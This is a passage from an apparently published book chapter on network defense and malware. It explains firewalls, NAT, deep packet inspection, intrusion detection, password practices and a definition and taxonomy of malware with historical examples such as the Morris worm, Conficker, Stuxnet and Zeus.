either the entrance to a computer or the entrance to the LAN or both. Like 
guards, firewalls filter incoming (and often also outgoing) traffic. In cases 
where there is a relatively low volume of traffic, for instance, for a typical 
home user, it does not matter much which firewall placement is used. If
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there is heavy network traffic, then the right choice is at the entrance to the 
LAN because that will be a hardware firewall, capable of handling a much 
higher volume of traffic. The firewall at your computer is implemented in
software, which is slower. In more complex settings, including the typical 
large organization, multiple firewalls will be needed because there will be 
some traffic that should be allowed in but only to certain places. 
There are two types of firewalls in common use today: stateful firewalls 
and application firewalls (also known as application-layer firewalls). 
A stateful firewall examines each IP packet coming in and decides 
whether to let it pass in or to drop it. (In fact, for the packets it does not
allow, it must decide whether simply to drop the packet or to notify the 
sender that it is rejecting the packet. Simply dropping the packet is the 
safer choice, but can make various errors that have nothing to do with
security per se harder to handle.) The firewall makes its decision about 
an IP packet based on looking at information in the IP packet’s header,
including the “to” and “from” IP addresses, the packet’s protocol (TCP or
UDP), and the “to” and “from” port numbers. 
The firewall also bases its decision on a list of all the recent packets
it has seen, which is why it is called stateful. The general idea is that, for 
example, there should be packets coming into port 80, the port used for
HTTP connections, of your computer from a particular IP address only 
if there was recently an outgoing packet from your computer to that IP 
address. In other words, you should not be receiving any data from a web
server unless you have first requested a web page from that web server. 
A stateful firewall can also easily block all traffic from a blacklisted site 
known to host malware. 
As a practical matter, most home users with a home network have a 
minimal stateful firewall that they are probably not even aware of. In
Chapter 2 we said that every computer on the Internet is assigned a unique 
IP number, but that is not really true for the small home network. Instead,
you buy one network connection from your ISP, and you share it among 
your computers. The usual setup is that your connection to the outside  
Internet runs first through a cable or DSL modem and then through a 
router (sometimes advertised as a “wireless router”) that establishes a  
wireless and wired LAN for your home. 
That same router also does network address translation (NAT).
Your router knows the IP address assigned to you by your ISP, such as  
99.141.17.42. As part of NAT, your router assigns each of your computers
its own special IP address that is used only inside your home LAN. Often 
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these are 10.0.0.1, 10.0.0.2, 10.0.0.3, and so on, because the IP addresses
beginning with 10 are reserved for this purpose. If your laptop is 10.0.0.1
and requests a particular page from Wikipedia.org, your router makes 
up a new port number for the request and sends this new port number 
together with the IP number 99.141.17.42 to Wikipedia.org. Your router
will accept incoming packets only to those port numbers it made up in 
that way, and thus NAT, besides allowing you to purchase only one IP
address, is also providing you with some of the simpler services of a state­
ful firewall. 
For the purposes of keeping out undesirable traffic, the more informa­
tion the firewall has about the overall context of the conversation, the better 
decisions the firewall can make. That is why the state of the art is begin­
ning to move from stateful firewalls to application firewalls. All a stateful
firewall sees when a web page is transmitted from some server to your web 
browser are packet headers that give the list of “to” and “from” ports and 
IP addresses—that is, that the packet’s source is IP address 123.12.34.56,
port 80, and its destination is port 80 of your computer’s IP address. 
An application firewall sees all of that information and also sees 
whether the message the packets contain is “HTTP/1.1 200 OK....” or
“Install NastyVirus.” In general, this process of examining the higher level 
content of packets (higher in the sense that the application layer of TCP/IP
is thought of as being above the network and transport layers) is referred 
to as deep packet inspection. In terms of packet encapsulation, which we
discussed in Chapter 2, deep packet inspection means reading the entire
payload of an IP packet, as opposed to reading only the IP packet headers, 
which, roughly speaking, contain only the “to” and “from” IP addresses.* 
Firewalls reading the application-level payload of packets are often called 
application or application-layer firewalls. 
Deep packet inspection can often provide greater security than shallow 
inspection. For example, malware signatures, which we discuss in Chapter 
9, can be found in incoming network traffic—as opposed to after they are
inside a computer—only by using deep packet inspection. However, deep 
packet inspection raises privacy issues if the entity doing the deep packet 
* 	 Technically, shallow inspection should mean looking only at the IP headers, but in practice, exam­
ining some or all of the TCP (or UDP) packet header is also considered to be shallow inspection, 
and deep packet inspection means reading the payload of the TCP packet. All of what normal
users consider to be the communication’s content is in the payload of TCP packets. The headers of 
the protocol for the particular communication, such as the “to” and “from” e-mail addresses, are 
also confined to the payload of TCP packets. 
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inspection is not the same as the person using the computer, because deep 
packet inspection consists of software reading the contents of your web 
browsing, e-mail, and so on. Indeed, the deep packet technology of appli­
cation firewalls is also the technology of censors. There is no significant 
technological difference other than scale between blocking packets from
a known source of malware from entering your home network and the 
massive blocking of much of the web done by the Chinese government, 
sometimes referred to as the “Great Firewall of China.” 
We will return to controversies connected to deep packet inspection
in coming chapters. Here we point out that the controversies are not
really about the technology of deep packet inspection per se, but rather 
about where and for what purpose it can be used. Deep packet inspec­
tion means that some piece of software is reading the contents of your
Internet transactions while they are en route to their final endpoint com­
puter and, perhaps, depending on what the software finds, notifying a 
human being. With the possible exception of one or two privacy absolut­
ists, nobody objects to firewalls at the entrance to your home network or
at the entrance to a company’s or university’s LAN for purposes of detect­
ing malware, infected machines, spam, or distributed denial-of-service 
attacks. Few people object to Google using deep packet inspection at the
edge of Google’s network on e-mail sent to gmail.com addresses for the 
purpose of spam detection. In the other direction, many people would 
object to at least one of the US, Chinese, Israeli, or Iranian governments 
using deep packet inspection for intelligence gathering. 
Intrusion Detection and Prevention Services 
The next step up from a firewall is a network  intrusion detection sys­
tem (IDS) or intrusion prevention system (IPS). An IDS or IPS might 
be implemented as a hardware box sitting on your network or as a piece 
of software on a dedicated computer placed at the entrance to your LAN.
The job of an IDS is to attempt to decide whether an attack is taking place. 
There are two basic approaches: rules written by human experts and 
approximate rules created by machine learning techniques. Rules written 
by human experts might say things like, “If the volume of incoming traffic 
in all categories other than streaming videos is more than three times the 
highest we have ever seen before, then assume a denial-of-service attack is
underway.” Such rules are likely to be good as far as they go, but incom­
plete, because they will capture only the attacks that the experts who wrote 
the rules thought about ahead of time. Machine learning techniques can 
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be used to try to create rules that may cover previously unseen cases, but 
they are likely to have higher error rates. 
The difference between intrusion detection and intrusion preven­
tion systems is simply in what they try to do once they think an attack 
is underway. An IDS will be configured to send some sort of alarm to  
a human administrator and perhaps also to start or to increase logging 
activity. An intrusion prevention system will actually change the behavior
of the computer or network, perhaps by instructing the firewall to start 
rejecting all packets if it suspects a distributed denial-of-service attack is
underway. Intrusion prevention systems are potentially more useful than
IDSs, but are more prone to annoying errors. When detection rules accu­
rately detect an attack, then it is even better if something is done about 
that attack. However, when detection rules generate false alarms, then, of
course, it is preferable not to take any automatic action in response. 
If you are a typical user of a home network or even a fairly sophisticated 
user, you may at this point be thinking that it sounds difficult to decide just 
what you ought to do to protect your own doors. If so, then you are correct. 
LOCKING AND GUARDING DOORS IS 
HARD AND WE DO A POOR JOB 
Some of the steps involved in locking and guarding the doors are straight­
forward, something that any of us can do, and clearly worthwhile. For exam­
ple, in a situation where a password makes sense at all, do not choose either
the string password or the string password1 as your password. In practice,
people choose terrible passwords. In a 2006 blog post, security expert Bruce
Schneier noted, half in fun and full in earnest, that there had been some
progress in convincing users to choose better passwords, because a survey 
of MySpace passwords showed that the most common password was pass­
word1 rather than password.12 Schneier may have been overly optimistic:
SplashID’s late 2011 survey of the most common passwords showed plain
old password back in first place, with 123456 coming in second.13 
While we can all choose better passwords than password or password1,
it is in general hard for us to do a good job locking and guarding doors.
Consider first those software vulnerabilities that constitute unlocked 
doors that we do not even realize exist. 
Unlocked Doors We Don’t Know About 
We hope that we find those unlocked doors before the hackers do. 
Unfortunately, zero-day attacks and network complexity guarantee that
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the hacker usually has the advantage. If software or a network has 100 vul­
nerabilities, the defender must find most or even all of them to be secure
against unauthorized access. The hacker just needs to find one that the
defender has not yet found. In this race, a determined hacker will almost 
certainly win. 
Doors We Don’t Realize We Should Lock 
Most home users leave some doors unlocked because they do not realize 
they should lock them. Home users typically have at best only a vague 
understanding of what vulnerabilities are and how and when they are 
exploited to gain unauthorized access. It is common to complain that “the
industry has sold the computer as if it is a TV set…We take it out of the
box, plug in a power cord and never do anything to it again.”14 Home users
may simply not understand that vulnerabilities exist, and, when they are
aware of the problem, they tend to underestimate the danger.* 
As legal scholar Christine Jolls has noted, “An amazingly robust finding 
about human actors…is that people are often unrealistically optimistic
about the probability that bad things will happen to them.”15 As a result, 
home users fail to eliminate vulnerabilities by not installing updates, by
visiting compromised websites that will infect their computer with mal­
ware, by being too trusting when confronted with social engineering, and 
by using programs that are particularly prone to exploitation by hackers 
(such as Adobe Reader and Flash Player) without an adequate appreciation
of the risks. 
Limitations on Guards 
Our guards don’t protect us as well as we might hope. Consider passwords. 
One big problem is that passwords are used as guards by many of the web-
sites we visit—indeed, by very, very many of the websites we visit. Today,
most web users have had to create a user name and password for at least 
two dozen different websites, and plenty of people have done so for over a 
hundred, from aa.com (American Airlines) to Zillow.com. We can’t pos­
sibly have distinct passwords for all of them that we can remember, so we
reuse passwords. 
* 	 In fact, typical home users both underestimate and overestimate the dangers of malware. They 
underestimate the chances of somebody trying to take over their computer to use it to launch
further automated attacks, but they overestimate the chance of somebody trying to steal their 
personal information from their computer. 
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The problem is that if we use the same password at multiple websites, 
our security against password breaches is the security of the most vul­
nerable of those websites. It is not really a problem if we reuse passwords
at the large number of websites where we would not care very much or 
at all if somebody could log in with our password, such as a hobbyist 
website or a newspaper website that requires a login. However, most of
us have several websites where we care deeply about our control, such as
our bank account and our primary e-mail. Each one of those really does
require a password not used anywhere else. You really don’t want some­
body who manages to crack the security of, say, Joe Teenager’s homemade 
online gaming site and steal your password for computer games suddenly 
to have the password to your bank account. You also don’t want the pass­
word to your bank account to be on any hacker’s list of a few million 
common passwords. 
For the case of the wireless LAN for your home, there is real controversy 
among computer security experts about whether it is even worthwhile to
password protect the LAN. In particular, prominent computer security
expert Bruce Schneier has written about why he leaves his home wireless
network open.16 The argument in a nutshell is that very easy access to your
home wireless network is a convenience to your guests and that, in any 
event, accessing your home network requires close physical proximity. So, 
if I were a criminal looking to break into wireless networks, why wouldn’t
I go to Starbucks where there are lots of users and I can sit and drink coffee 
instead of parking in my car out in front of your home? 
We mentioned encryption as a limited type of defense. Usually, encryp­
tion accomplishes its limited goals, but not always. While you may want
your home wireless network to be open, a business wireless network should
certainly be protected. One of the larger data breaches in history, which 
exposed tens of millions of credit card numbers from TJX (the company
that owns T. J. Maxx and Marshall’s, among other chains), was enabled by
inadequate wireless network security at one Marshall’s store.17 The origi­
nal 1999 standard for encrypting wireless networks (wired equivalent pri­
vacy or WEP) was flawed and easily defeated, and by 2003 it had been 
replaced by a better standard. However, this particular Marshalls had not
switched away from WEP when it was attacked in 2005. 
Interestingly, the attack was carried out by Albert Gonzalez (a com­
puter hacker born in 1981, not to be confused with President George W.
Bush’s attorney general born in 1955), who was also the perpetrator of the 
SQL-injection attack against Heartland Payment Systems we mentioned 
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earlier. Gonzalez conducted both of those attacks after he had been work­
ing as an informant for the US Secret Service for some time. 
Now let’s move on from passwords and encryption to the other sorts of
credential checking guards: firewalls and intrusion prevention systems.
Everybody should have some sort of firewall working on either their com­
puter or the entrance to their LAN. Recent editions of both Windows and 
Mac OS X include computer software firewalls. However, a firewall pro­
vides only very limited protection. All it can do is block some traffic that
certainly should not be coming in. A firewall is of no help in stopping  
you from clicking on a link that downloads malware or in stopping many
other kinds of attacks. 
More broadly, very many of our applications have to make some use of
the network. If the firewall asks, “Should I allow Microsoft Word to use 
the network?” you have to answer yes, because otherwise Word will not be 
able to get updates over the network (some of which will be patches that
plug security vulnerabilities) and Word won’t even be able to talk to your
networked printer. So the typical home or small business user who turns 
on a firewall sees numerous questions about allowing applications to talk
to the network and answers yes to all of them. The situation is even worse 
for an intrusion prevention system. Using an intrusion prevention system 
to improve your defenses beyond what is provided by the Windows soft­
ware firewall is simply beyond the capabilities of most home users. 
More fundamentally, firewalls do not block data moving to or from any
trusted computer, where in this case “trusted” includes any computer that
is the server for any web link that you have clicked on. So firewalls are of
no help whatsoever against many of the attacks we have discussed, from
phishing to SQL injection. 
SHOULD ISPS LOCK DOORS AND CHECK CREDENTIALS? 
Currently, end users lock doors and post guards. We think ISPs should
take over at least some of that burden. In the next chapter, we argue that
“end users decide how to defend” is a suboptimal coordination norm and 
that a better justified alternative is that ISPs take over much (if perhaps not
all) of the burden of defending our computers and networks. 
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Imagine a city. It has grown with astonishing rapidity and now offers an
amazing array of experiences and opportunities. Unfortunately, crime,
which was virtually nonexistent in the early years, has also flourished.
Break-ins, theft, fraud, and extortion are routine. Most victims suffer small 
losses, but some lose a lot. Law enforcement is largely ineffective because 
the criminals are too hard to find. Citizens try to protect themselves with
locks, alarms, guards, and gated communities, but the criminals easily 
breach the barriers. Crime continues to grow at an ever increasing pace,
and everyone feels ever more threatened. Old timers remember the early 
days when crime was low, when they unhesitatingly enjoyed the city’s
variety and opportunity; now, they feel unsafe in their homes, look over 
their shoulders when they go out, and do their best to visit only safe places. 
No one would want to live in such a city.1 So, why are we okay with
this on the Internet? Online criminals perpetrate credit card fraud and 
identity theft, extort money, and commit espionage. People are not as safe
as they should be* and the losses total in the billions. 
* 	 Mac users may be an exception. Of all the vast amount of malware that has caused actual damage 
in practice in the twenty-first century, there has so far been only one instance of malware that 
has successfully targeted more than a trivial number of Macs (the spring 2012 FakeFlash Trojan).
In terms of the city analogy, Macs might represent a small neighborhood on the edge of town
separated from the rest of the town by a river, where, furthermore, the houses are all of a different, 
peculiar construction not found elsewhere. For some reason—perhaps the small size and remote
location of the neighborhood, perhaps the different construction of the houses, perhaps some­
thing else—very few if any crimes have been observed in this neighborhood. 
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The cost of data breaches to organizations in the United States averaged 
$5.5 million per incident in 2011,2 and that number is an underestimate. 
It does not include the costs to third parties affected by the breaches to 
the organizations, and it considers only organizations, not the millions of 
individuals using Internet-connected personal computers. 
The criminals’ key tool is malware, malicious software that makes 
invaded computers do the criminals’ bidding. Malware has been with us 
for a long time, but a great upsurge began in late 2005 when producing 
malware changed from a computer geek hobby to an activity of organized 
crime. The current onslaught is massive and increasing. Reports of the 
volume of malware vary greatly, but the following figures are typical. 
PandaLabs identified 26 million distinct new strains of malware in 2011, 
or about 73,000 a day.3 Worldwide, malware computer infection rates 
range from 25 to 60 percent of computers, depending on the country,4 and 
the amount of malware continues to increase despite increased efforts of 
users to protect themselves and increased law enforcement. 
Why are the criminals so successful? One reason is that we make it 
easy to gain the unauthorized access needed to install malware. To put   
the point in terms of our doors and guards metaphor, we leave open many 
doors that should be securely locked, and our credential-checking guards 
are easy to evade. The situation would not be so serious if we could quickly 
and reliably detect malware once it was installed because, then, although 
the unauthorized users would get through the doors, our behavior-mon­
itoring guards would detect and remove the malware they left behind 
before it did any harm. Unfortunately, our behavior-monitoring guards 
are easy to evade. 
The first step in understanding how to solve this problem is to develop a 
clear picture of what malware is. We provide the picture by answering two 
questions: How should we define malware? And, what sorts of software fit 
that definition? 
A MALWARE DEFINITION 
Malware is a negative term used in diverse ways, and while it is easy to give 
a definition of malware that is roughly correct, it is tricky to give a crisp, 
precise definition. It may seem silly to spend several pages developing a 
precise definition of malware, given that we already have a rough idea of 
what we mean by the term. However, if we are going to consider impos­
ing legal liability for inadequate malware defense, then we must develop a 
sufficiently precise definition so that we can clearly determine what is and 
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what is not malware. Otherwise, we will not give people sufficient notice of
what they must defend against to avoid liability. 
We do not pretend that the definition of malware we will develop here
captures everything that anyone might want, with good reason, to call  
malware. Our goal is to characterize the paradigmatic examples of mal­
ware: the examples you would use to explain the idea. We offer the follow­
ing definition: Malware is software that others install on our computers 
without our consent and that we find “especially objectionable.” Shouldn’t 
we have said “and that others intend to use in ways we find especially  
objectionable”? We omit any reference to intention because lack of con­
sent for installation plus significant harm is enough to classify something
as malware independently of intent. 
The classic example of malware that perhaps had no objectionable intent, 
but certainly should meet the definition of malware was the 1988 Robert
T. Morris worm. The Morris worm shut down a significant portion of the 
Internet for a day or two simply because it overwhelmed the computers’
communication links. The shutdown occurred because Morris miscalcu­
lated how rapidly the worm would spread. At the time of the attack, the 
Internet was still a fairly small collection of computers at US research uni­
versities, national labs, and military bases. Morris was then a Cornell com­
puter science graduate student, and the worm he wrote did not do anything 
intentionally harmful to the files on attacked computers. Indeed, Morris 
may not have had any malicious intent in writing the worm, and he him­
self claimed that he intended only to highlight the lack of security on the
Internet by demonstrating that a program could propagate undetected. 
Morris’s worm brought malware as a really serious problem to the 
attention of computer professionals and the US government for the first 
time. Morris was convicted under the then very new US Computer Fraud 
and Abuse Act (and sentenced to probation). Morris is today a tenured 
professor of computer science at MIT. Interestingly, at the time of the  
worm, Morris’s late father, Robert Morris, was the chief scientist at the US
National Security Agency’s (NSA’s) National Computer Center, one of the 
top positions in the entire NSA. 
We now explain and justify our definition of malware, beginning
with consent. 
Malware and Lack of Consent 
Suppose you return home to find that a complete stranger has entered 
your house without your knowledge or permission and is taking a nap 
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on your couch. How would you react? With outrage most likely. Most 
would find the stranger’s uninvited presence highly objectionable.* Our
outrage is even stronger the more we object to what the stranger does.
Taking a nap is relatively benign, but reading personal correspondence or
stealing money certainly is not. We use locks, alarms, and patrols to keep 
strangers out, including strangers legally authorized to enter. The law may 
permit government surveillance in our homes and other places, but there 
are significant constraints, and even when faced with lawful government
surveillance, we may legally adopt precautions to block observation. Our 
computers are our digital homes, so why should we tolerate strangers in
them without our permission any more than we would in the homes we
physically inhabit? We should not. And we do not, as our antimalware 
programs show. Antimalware vendors provide us with protection against 
“uninvited strangers.” 
It is tempting to define malware simply as software that others attempt 
to install on our computers without our consent, but that would be a mis­
take. Suppose the IT department installs Microsoft Word on John Jones’s 
computer after he explicitly told them not to do so. They install the pro­
gram without Jones’s consent, but Word by itself (whatever bad things one 
may think about it) is not malware—not even if a hacker operating out 
of Russia surreptitiously installs Word on a computer. The installation is 
a wrongful invasion of a computer, but the software that is installed is a 
common tool for word processing, not malware. Lack of consent is not
enough to make software malware and, indeed, the paradigmatic exam­
ples of malware are objectionable on two separate grounds. One is that
others attempt to install them without our consent; the other is that the 
software does things we find especially objectionable, such as collecting 
sensitive information or using our computers as a base from which to dis­
rupt communication by replicating itself across the Internet. 
So what do we mean by “especially objectionable”? 
Don’t We Just Mean Illegal, or at Least Harmful? 
Our emphasis in the opening of this chapter on the criminal nature of
much malware may suggest that by “objectionable” we really mean “ille­
gal.” This approach, however, overlooks the fact that software routinely 
classified as malware has both legal and illegal uses. Keystroke loggers,
* 	 It is also illegal. But most would find the invasion of privacy objectionable whether or not it was 
illegal. 



















Malware, Norms, and ISPs  ◾ 225
or keyloggers, which record, at a minimum, the keys struck on the key­
board and often everything a user does at his or her machine, are a good 
example. They are common examples of malware, but they do have legal 
and desirable uses. Companies can use them (with consent) to understand
how users interact with software, and parents can use them (with or with­
out consent) to retrace a child’s path through the web. Keyloggers qualify 
as malware when hackers use them to further illegal activities such as
identity theft by obtaining passwords, login names, account numbers, and
other personal information. 
It may seem that all we need is a minor change in the definition. Why 
not define malware as software the intended use of which is illegal? This 
would not, however, capture the concept of malware as it is understood 
by antivirus vendors. Antivirus programs block software whether or not
it is legal. A good example is R2D2 (also known as 0zapftis), a remotely 
updateable keylogger (and more) that targets Skype, Firefox, Internet
Explorer, MSN Messenger, and ICQ, among other applications. Even 
though it appears that the German government uses R2D2 for legal data
interception when conducting surveillance of criminal suspects, antivi­
rus vendors nonetheless detect and block it as malware. As the antivirus 
vendor Sophos commented, “Our customers’ protection comes first. If the
authorities want us to not detect their malware, the onus is on them to try
to write something that we can’t detect.”5 
If “illegal” is too narrow, what about harmful? Don’t we really mean
harmful by “especially objectionable?” But this will not do either. Not 
all malware causes harm. The Conficker worm is a possible example. 
Conficker has created a network of remotely controllable computers that
could be used for a variety of objectionable purposes—for example, to
send spam or launch a denial-of-service attack. It is not clear, however,
that hackers have used it in any harmful way. Even so, it is still malware. 
Making “Especially Objectionable” More Precise 
To make our use of “especially objectionable” more precise, we would 
need to choose a point on a spectrum. The standard examples of malware 
occupy one end, the “especially objectionable” end. All the examples we
describe in the taxonomy in the next section belong at this end. These 
examples form our focus in this chapter and the next. Incidentally, what
makes software “especially objectionable” need not be the effect it has on
the computer on which it is installed. The spambots we discuss in the next
section may sometimes mildly improve the function of the computer on
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which they are installed; their malware status comes from their use to send
spam to other computers. The opposite end of the spectrum, the “unob­
jectionable” end, is home to a wide variety of programs, such as Microsoft 
Word, Dropbox, and Adobe Reader. 
Right now, we—end users together with vendors—decide where to
draw the line. Vendors provide a variety of antivirus products that offer 
different trade-offs among effectiveness, reach of protection, ease of use,
and demand on computing resources. End users choose none, one, or a 
combination of the products. The combination of the user’s choice of what
to use and how to use it, together with the chosen product’s features, deter­
mines what is treated as malware. In the next chapter, we propose requir­
ing Internet service providers (ISPs) to provide defense against malware 
and thus ISPs would decide precisely what is treated as malware. Justifying 
giving ISPs this power is one of the tasks of that chapter. 
To illustrate some of the issues that arise in deciding where to draw
the line, we offer examples from five categories of software that arguably 
fall somewhere in the middle of the spectrum. The classification is by no
means exhaustive. 
Harmless programs: Imagine that we—the authors—created a program 
that propagates among computers running Windows, but all it does is
create an empty folder called “Buy Unauthorized Access.” This would be
similar to the Conficker worm if we assume that no one has used it to
cause harm. Where on the spectrum would you put Conficker? Because of
its potential uses, we locate it at the “especially unacceptable” end of the 
spectrum, but others might put it in the unclear middle. 
Unintended effects: Morris insisted that he intended his worm to be a
harmless—and indeed beneficial—demonstration of inadequate Internet 
security. It was evidently a programming misjudgment that caused it to
spread so rapidly that it shut down the Internet.* Like Conficker, we regard
Morris’s worm as malware. 
* 	 Morris designed the worm to copy itself from Internet system to Internet system; however, before 
it copied itself, the worm first asked the computer if it already had a copy of the worm. The worm 
did not copy itself if it got a “yes” answer. The point was to avoid installing multiple copies, which 
would slow the computer down and make the computer owner aware of the worm’s presence. 
However, Morris also worried that system owners who became aware of the worm would stop its 
spread by programming their computers to answer “yes.” So he programmed the worm to copy
itself every seventh time it received a “yes” from the same computer. Morris’s mistake was that 
he greatly underestimated the number of times a computer would be asked if it had the worm.
Copying every seventh time turned out to be far too frequent. 
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Unclear consent: For the sake of contrast, we start with a case in which it
is clear there is consent. Recall from Chapter 8 that a Trojan is a malicious 
program masquerading as a safe and useful one. A free screen saver is a 
classic example. Imagine you install the screen saver and, unbeknownst to
you, you also install a keylogger. You consent to the screen saver, but do
not to consent to the keylogger. Compare this with inviting a friend to stay
in your home. Your friend smuggles in his kitten, to which he knows you
are highly allergic. You are certainly right when you point out, “I invited 
you, not the kitten.” Similarly, you invite the screen saver into your com­
puter, but not the keylogger. 
Things get much less clear if we replace the screen saver with a corpo­
rate login procedure. Suppose that the first time you log in to the corpo­
rate network from your iPad, the network installs security programs that
prevent you from accessing a very long list of other websites. You were
“notified” of the security programs in the written material you received 
(but did not read)—pages and pages of technical information from the IT
department. Did you consent? You object strenuously to restrictions on
your access. Does this make this like the kitten case? And, even if you do
consent, given your objections, where do the security programs belong on
the “unobjectionable” to “especially objectionable” spectrum? 
Sometimes legitimate software: Certain software might be malware for 
some installations and legitimate for others. For example, a particular
piece of remote computer administration software might be both com­
monly legitimately installed by corporate IT administrators and com­
monly illegitimately installed by hackers seeking to gain control of others’ 
computers. Such dual-use software is sometimes labeled “riskware” by
antimalware programs. 
Tracking cookies: Tracking cookies are our final example. They merit 
their own subsection. 
Are Tracking Cookies Malware? 
We conclude our discussion of the definition of malware by considering 
whether our definition makes tracking cookies count as malware. Many
find tracking cookies objectionable, and we indeed have already joined 
in the objections in Chapter 5 and will pursue our objections further in
Chapters 11 and 12. We will not, however, count tracking cookies as mal­
ware. It may seem obvious that we are right. We define malware as soft­
ware, and cookies aren’t software. Software performs actions, and cookies 
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do not; they are just inert text files.* But this is just a minor vocabulary
problem. If tracking cookies strike us as similar enough to malicious soft­
ware, we could simply extend our definition to cover software and track­
ing cookies. 
Extreme cases aside, we will not classify tracking cookies as malware.
Some do, however. In his Wall Street Journal article, “Despite Others’ 
Claims, Tracking Cookies Fit My Spyware Definition,” Walter Mossberg
asks us to imagine that we bought a TV that tracked “what you watched,
and then reported that data back to a company that used or sold it for adver­
tising purposes. Only nobody told you the tracking technology was there or
asked your permission to use it. You would likely be outraged at this viola­
tion of privacy.”6 So why aren’t tracking cookies malware? Don’t they enter
our computers—our digital homes—without our consent? And, aren’t they
“especially objectionable”? Our answer to the consent question is, “Unclear.”
We will examine consent to tracking cookies in Chapters 11 and 12 when we
discuss behavioral advertising. We will conclude, “It’s complicated.” 
We do not, however, need to resolve the consent issue to decide whether 
to count tracking cookies as malware. We will not count tracking cookies 
as malware because we do not think most people regard them as belonging
at the “especially objectionable” end of the spectrum along with the exam­
ples of malware we will discuss in the next section. As we noted in Chapter 
5, we—most of us—want considerably more control over our information 
than current data collection practices permit, but we also want the advan­
tages information processing secures: increased availability of relevant
information, increased economic efficiency, and personalization of ser­
vices.7 As we discuss in Chapter 12, we want a trade-off, not a complete 
prohibition on the use of tracking cookies. 
THE MALWARE ZOO 
We illustrate our definition by describing several of the more important 
types of malware. There is no agreement on the exact taxonomy of mal­
ware, and in any event exact taxonomy is not terribly important. For exam­
ple, whether we consider viruses to be distinct from worms or consider
viruses to be worms that behave in a particular way, computer viruses still
cause the same problems. We will consider six types of malware: viruses,
worms, rootkits, Trojans, spyware, and bots. 
* Software executes instructions; cookies don’t execute anything. 
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Viruses and Worms 
The term (computer) virus is often commonly used as a general term for
malware, and antimalware software sold by such vendors as McAfee and 
Symantec is generally labeled antivirus software. “Virus” has a more pre­
cise meaning as well: a self-replicating program that spreads by attaching 
itself to some other, legitimate program. The heyday of computer viruses
in this more precise sense was the 1990s and the early 2000s. 
Both viruses and worms usually do something besides replicate; this
behavior is the payload. Today the payload is often installing yet another 
program. The payload program may be spyware that compromises confi­
dentiality; it may be a bot, which we will discuss shortly, or it may delete,
corrupt, or encrypt information, either simply out of maliciousness or to 
extort money in exchange for ceasing the attack. 
For example, many readers will recall hearing about Microsoft Word
viruses, which were extremely common in the 1990s and early 2000s.
Those Word viruses attached themselves to Word document files, not 
to the Word program itself, but those viruses did meet the narrow defi­
nition of virus because the Word documents themselves could act as
computer programs (through Microsoft Word macros, which were com­
puter programs). Typically, the payload was malicious vandalism to the
infected computer, often erasing some files on the infected computer. 
Like viruses, worms are self-replicating programs. Some computer
scientists define worms to be any self-replicating program, making
viruses a special kind of worm; other computer scientists define worms
to be programs that spread without attaching themselves to existing
programs, and thus distinct from viruses. Once installed on a net-
worked computer, worms typically scan for vulnerabilities on other
computers and exploit those vulnerabilities by copying themselves to
the new machines. 
Worms have an interesting history. The first use of the term “worm” in
this context appears to be in the 1970s science fiction novel The Shockwave 
Rider by John Brunner. The 1988 Robert T. Morris worm that we described
earlier in the chapter is, by many measures, the most successful malware 
attack on the Internet of all time. 
Worms have also been a significant problem in the new century. We
describe three examples: ILoveYou from 2000; Conficker, which has 
caused problems from 2008 to date; and the particularly interesting case 
of Stuxnet. 
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The ILoveYou worm spread itself via e-mail. In particular, it appeared 
as an attachment to an e-mail with a subject line that suggested the attach­
ment was a love letter; when the recipient clicked on the attachment, the 
virus sent copies of itself to everyone in the recipient’s address book. The
worm appeared on May 4, 2000, and by May 13, 50 million users reported 
infections. Businesses, the Pentagon, the CIA, and the British Parliament
shut down their e-mail systems in an effort to control the spread of the 
worm. The worm also compromised information integrity by overwriting
files with a copy of itself. ILoveYou is from the era of malware written by
pranksters and vandals and was not written to make money. Nevertheless, 
the time, effort, and money spent ridding the Internet of the worm and 
restoring corrupted files has been estimated as being anywhere from
almost $1 billion to many billions.8,9 
Conficker is a family of worms infecting Microsoft Windows that was 
first detected in late 2008. At its height, Conficker had infected over seven 
million computers. An unusual computer industry-wide working group
was formed to combat Conficker. In its early days the group called itself
the “Conficker Cabal,” but later changed to the more prosaic Conficker 
Working Group. Conficker is especially good at spreading itself and at
being stealthy. Nobody really knows how many computers are currently 
infected. In 2011, Microsoft antivirus products detected 1.6 to 1.8 million 
Conficker infections each quarter, but that gives only a lower bound on the 
number of infections. 
A particularly intriguing aspect of Conficker is what it does or, more 
precisely, what it does not do. Conficker enrolls each infected machine as a 
bot in a botnet, but so far this huge botnet has not done much of anything. 
It was once used for a couple of weeks to send out spam, but that is a very
minor use of a years-long, millions-of-computers botnet, and was perhaps 
merely a simple test or demonstration. It is unknown who built Conficker 
or why. 
The Stuxnet worm, which was first discovered by the computer security
industry in the summer of 2010, may well go down in history as the first 
major undertaking in intergovernmental cyberwar affecting the physical
world. The worm spread not via the Internet, but rather via local networks
and USB sticks. It targeted a particular type of Siemens industrial equip­
ment controller. Its payload did nothing to the vast majority of these con­
trollers and affected only those controlling a certain type of centrifuge 
that was being used to enrich nuclear material in the Natanz lab in Iran. 
Stuxnet was developed jointly by the US and Israeli governments with the 
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goal of slowing down Iran’s nuclear program by destroying those delicate 
centrifuges. It appears that Stuxnet succeeded.10 
Both Conficker and Stuxnet are unusual examples of recent malware,
because most modern malware has making money for a criminal enter­
prise as its goal. 
Trojans 
A Trojan (or Trojan horse) is malicious program (or device) masquer­
ading as a safe and useful one that causes its damage when activated by
some unsuspecting user. The name comes from the Trojan horse that the 
Greeks used finally to defeat Troy in the Trojan War that is mentioned in
both The Odyssey and Virgil’s Aeneid. We already gave an example of a 
Trojan device, the Mocmex Trojan in digital picture frames manufactured 
in China, in Chapter 8. 
Another example is Zeus, “the most infamous and most propagated
Trojan in cybercrime history.”11 Zeus is a commercial, build-your-own-
Trojan kit sold to criminals. The Trojans built from the kit have been used 
primarily to steal banking credentials from computers—especially from
filled-in web forms from web browsers where the Trojan is installed. In
late 2010 the FBI arrested a large number of individuals, charging them 
with the successful theft of $70 million and attempted theft of $220 mil­
lion. The scheme is outlined in Figure 9.1, a graphic from the FBI. Variants
of Zeus appear still to be in use as of the time of this writing. 
The terms virus, worm, and Trojan all classify malware according to
how it spreads from machine to machine. Now we move on to categories
defined by the technical behavior of the malware on the infected machine: 
rootkits, bots, and botnets. 
Rootkits 
The technical definition of rootkit is a piece of software running with the 
highest level of computer administrator privileges (known as root privi­
leges in the technical community) without being authorized by the com­
puter’s user to do so. In practice, a rootkit is installed secretly, and one of
its big jobs is to cover its own tracks. Surreptitiously installing a rootkit on
a computer not only gives you extensive control but it also allows you to
conceal your presence from antivirus programs. 
There have been two famous stand-alone rootkits. The first was the 
